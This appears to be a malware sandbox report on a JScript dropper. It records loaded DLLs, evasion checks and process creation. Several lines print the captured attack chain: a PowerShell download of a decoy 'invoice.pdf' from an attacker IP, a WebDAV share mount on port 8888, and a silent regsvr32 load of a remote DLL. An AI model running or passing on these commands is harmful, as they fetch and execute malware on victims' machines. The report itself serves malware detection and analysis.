Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3728.js.csv");ITextStream.WriteLine(" entry:8935 f:wawhzxyi");ITextStream.WriteLine(" exec:2 f:wawhzxyi");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4349			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5519			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7664	Thread sleep count: 4349 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7668	Thread sleep count: 5519 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7952	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1988	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1481677643.00000216495CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWR
Source: net.exe, 00000007.00000002.1481677643.00000216495CF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481328820.0000021649568000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2716700894.000001186F82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2717734565.0000011874E54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\276241076231720.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
